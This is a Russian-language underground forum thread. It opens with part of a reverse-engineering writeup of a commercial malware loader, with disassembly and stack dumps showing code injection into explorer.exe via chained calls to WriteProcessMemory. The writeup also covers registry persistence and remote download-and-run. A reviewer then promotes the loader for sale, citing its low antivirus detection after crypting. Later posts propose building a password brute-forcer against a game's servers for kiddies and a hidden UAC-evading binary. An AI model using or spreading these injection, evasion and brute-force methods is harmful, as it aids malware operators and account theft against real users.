  7C90E44A | 8B4030  | MOV EAX,DWORD PTR DS:[EAX+30] |
  7C90E44D | 8B402C  | MOV EAX,DWORD PTR DS:[EAX+2C] |
  7C90E450 | FF1490  | CALL DWORD PTR DS:[EAX+EDX*4] |
  7C90E453 | 33C9  | XOR ECX,ECX    |
  7C90E455 | 33D2  | XOR EDX,EDX    |
  7C90E457 | CD2B  | INT 2B    |
	----------+--------------+-------------------------------+----------------
Далее после вызова "KiUserApcDispatcher" процедура окна вызывает следующую функция которую
программа не так давно нашла сама в "ntdll.dll". Она находится по адресу ntdll.7C94D0CB
и просто устанавливает флаг направления(DF). Саму процедуру искать по соотвествующему
адресу в таблицах выше.

Теперь наступает моменты истины. Вызывается функция SHELL32.7C9EE6AE которая копирует
данные из секции с шелл-кодом в стек. Установлен флажок DF поэтому копирование происходит
сверху внизу. В стеке появляется кусок данных из секции с шелл-кодом 00B00ECF - 00B00F4F.
В связи с чем по возврату из функции SHELL32.7C9EE6AE инструкция ret делает переход на
функцию kernel32.7C81C3D6 которая сбразывает флажок DF и вместо возврата попадает на новую
функцию в "explorer.exe" 0101177C. Которая выталкивает параметр и вместо возврата попадает
на ntdll._chkstk которая по окончанию работы опять вместо возварата вызывает функцию
"kernel32.WriteProcessMemory" с соотвествующимим параметрами. Следите по скопированному в
стек куску памяти что бы не запутатся. Все скачки по функциям происходят благодаря тонко
подобранным функциям и данным которые были скопировано в стек. Какждая функция вместо
возврата вызывает новую а стек просто зарание содержит все параметры. Шелл-код был записан
функцией "kernel32.WriteProcessMemory" на место функции "ntdll.atan".

Вот часть данных из таблиц выше которые были скопированы в стек.
Код:
  00B00EDF | 0101177C | explorer.0101177C
  00B00EE3 | FFFFFFFF |
  00B00EE7 | 7C901934 | ntdll.atan
  00B00EEB | 00AB0F9F |
  00B00EEF | 00000051 |
  00B00EF3 | 00AB0EFF |
С этимим параметрами и вызывается "WriteProcessMemory". По окончанию ее работы в конце
концов EIP сначало попадает на подобранную функцию которая в очередной раз выталкивает в
EAX очередной подобранный адрес из стека и вместо возврата попадает на адрес 01002080 где
находится JMP EAX и шелл-код запускается.

Сам шелл-код открывает созданную программой секцию в которую она записала образ
исполняемого файла. Отбражает ее в память и создает новый поток. А на последок возвращяет
прежний адрес указывающий на обработчики с помощью функции "SetWindowLong" с параметром 0.
И "explorer.exe" раюботает как и прежде только теперь в его процессе появился новый код и
поток. Затертый код функции "ntdll.atan" востанавливается программой сразу после внедрения
в "explorer.exe".

Исполняемый файл копируется в "Application Data" и ставится на автозагрузку в Run ветку
реестра. Что с учетом обходов пройдет безпалевно. Далее программа начинает парсить свой
конфиг и работает с сетью. Что дальше происходит и так понятно - скачка и запуск файлов.

Подобным образом программа работает на win xp и win 7 вне зависимости от разрядности. Так
как все предусмотренно и под 64-битными системами в "explorer.exe" внедряется 64-битный
вариант исполняемого файла который извлекается из секции ".cfg" 32-битного исполняемого
файла.

Заключение
----------

Основаня задача текста просто теоретически поведать об устройстве программы. Для полного понимания все ровно придется сидеть за отладчиком самостоятельно. Но суть думаю ясна.

Интересно когда наконец люди из АВ компаний прочухаются и закроют прием с "PAGE_GUARD".
Добрый десяток лет ждать не меньше. А Windows в очередной раз укрепила свое альтернатвное название "Решето", а не "Окна", в прочем как на самом деле и любая другая ОС, просто Windows разьебают больше остальных ОС, ну а дыры будут всегда и везде.

-----------------------------------------------------------------------------------------------------

Вышеописанное в полной мере характеризует лоадер. Реверсер постарался на славу и добавлять к этому свое уже не особо хочется. Скажу лишь о том что важно.

1. Автор в беседе со мной сказал, что лоадер просто валялся на винте и нужно было подзаработать продажами. Если такие вещи у него валяются, то я, мягко говоря, шокирован. Но важно то, что долгой поддержки и больших продаж автор не планировал. Я очень сильно тогда обнадежил автора, что выход обзора сильно толкнет продажи. После этого мне ответили, что возможно все и поменяется. Если будут продажи - будет и поддержка и развитие продукта.

2. Второе о чем хочется написать - цена. Неоднократно я слышал возгласы о том, что она чрезмерно высока. Тут сказать однозначно не возможно. Каждый автор сам оценивает свой продукт. И, как известно, рынок сам регулирует цены. Со временем все станет на свои места. И, как мне кажется, цена будет меняться. Но вот в какую сторону... Даже для меня это загадка, которую я уже и не пытаюсь разгадать.

3. Третье - автор вполне себе адекватный человек. Приятный в общении. Толковый, одним словом. Оставил хорошее впечатление. И из-за задержек с обзором мне перед ним ужасно неудобно. Уж пусть он меня простит за это. Но обстоятельства вышли очень уж насыщенные.

4. Крипт автор делает сам. Что очень сильно облегчает жизнь. Спустя месяц после получения криптованного файла имеем 4/35 scan4you

5. Одна из самых большиз плюшек данного лоадера - работа под 32/64 битными версиями windows. Универсальность лоадера на высоте!

Из того что мне не понравилось.
1. В стате нет очистки БД от всех ботов. Простого обнуления всех данных.
2. При просмотре статистики приходится ручками запускать обновление статистики. т.е. запускать cron.php... С одной стороны - это огромный плюс. Нагрузка на БД минимальна. Стата обновляется по крону и всем хорошо. С другой стороны, для меня, как тестера - это было не особо удобно. Хотя, положа руку на сердце - это все же плюс статы и разумного распределения ресурсов сервера.


-------------------------------Благодарности----------------------------------------------------------
Автору - за терпение, за смелость и за потраченное время! Огромное спасибо!
Steklo - за превосходный реверс. Жаль что ты перестал работать в сети. У тебя талант.
Всем кто читает мои записки на полях. Спасибо что заходите к нам на форум. Рад всем вам.

p.s. отвечая на невысказанный ваш вопрос "а где же отстук, живучесть?".
Говорю всем - извините. К сожалению в этом обзоре их не будет. Я вероятно старею. Или руки опускаются уже. Но я их не делал. Устал просить связки, траф и прочее.
 
Для создателя был он прекрасен,
Сшитый из десятка кусков,
Франкенштейн до чего безобразен,
Но для всех ли он таков?​

logozz.gif

Дела давно минувших лет, предание старины глубокой...
И снова здравствуйте! Сегодня мое сарафанное радио, после продолжительной паузы, вновь выйдет на сцену для освещения очередного интересно продукта, попавшего на наш операционный стол.
Забавный стишок в начале, не правда ли? Но именно эта ассоциация возникла у меня в самый первый момент. Итак, давайте по-порядку.
 
sysadmintambourine.jpg
Уважаемые друзья!
Поздравляю всех админов с этим ярким событием! Днем системного администратора!
В этот день НУЖНО пить пиво, получать поздравления, чувствовать себя нужным и важным. :)

p.s. Я вернулся.
 
1rvT.jpg
Предлагаю замутить разминочку для мозга.
Итак что имеется? Имеется одна из самых популярных игр рунета World of Tanks.
Что нужно - Нужно написать брутер паролей через игровой сервер (который юзается в самом клиенте. Не через сайт или форум, а именно через протокол клиента)
Что мы знаем? Клиент написан на c++ и python.
Используется на стороне сервера БД mysql+memcashed.
Размер БД - 390Гб.
Бд целиком хранится в оперативной памяти. (Инфа достоверна, напоил одного из админов и долго общался с ним. Было смешно и интересно).
OS - центось.

Цель - написание брутера на любом языке.
Истинная цель - оторвать внимание многих наших толковых форумчан которые зависли блядь на этой игре и перестали что-либо делать... Бд слишком неповоротлива и создание нагрузки может существенно ее замедлить, что создаст проблемы с подключением клиента к игре. Брутер будет бесплатно распространяться среди киддисов, которые сами создадут армию ботов и будут брутить.

Вторая цель - написание небольшого резидентного бинарника, запуск которого незаметно для uac и пользователя должен напрочь лишать пользователя PC возможности играть в игру. Бинарник будет бесплатно распространяться между женщинами, желающими спасти семью. (Это не шутка. На моих глазах из-за игры развалилось много семей... Это как наркота...)
 
Статус
Закрыто для дальнейших ответов.
Верх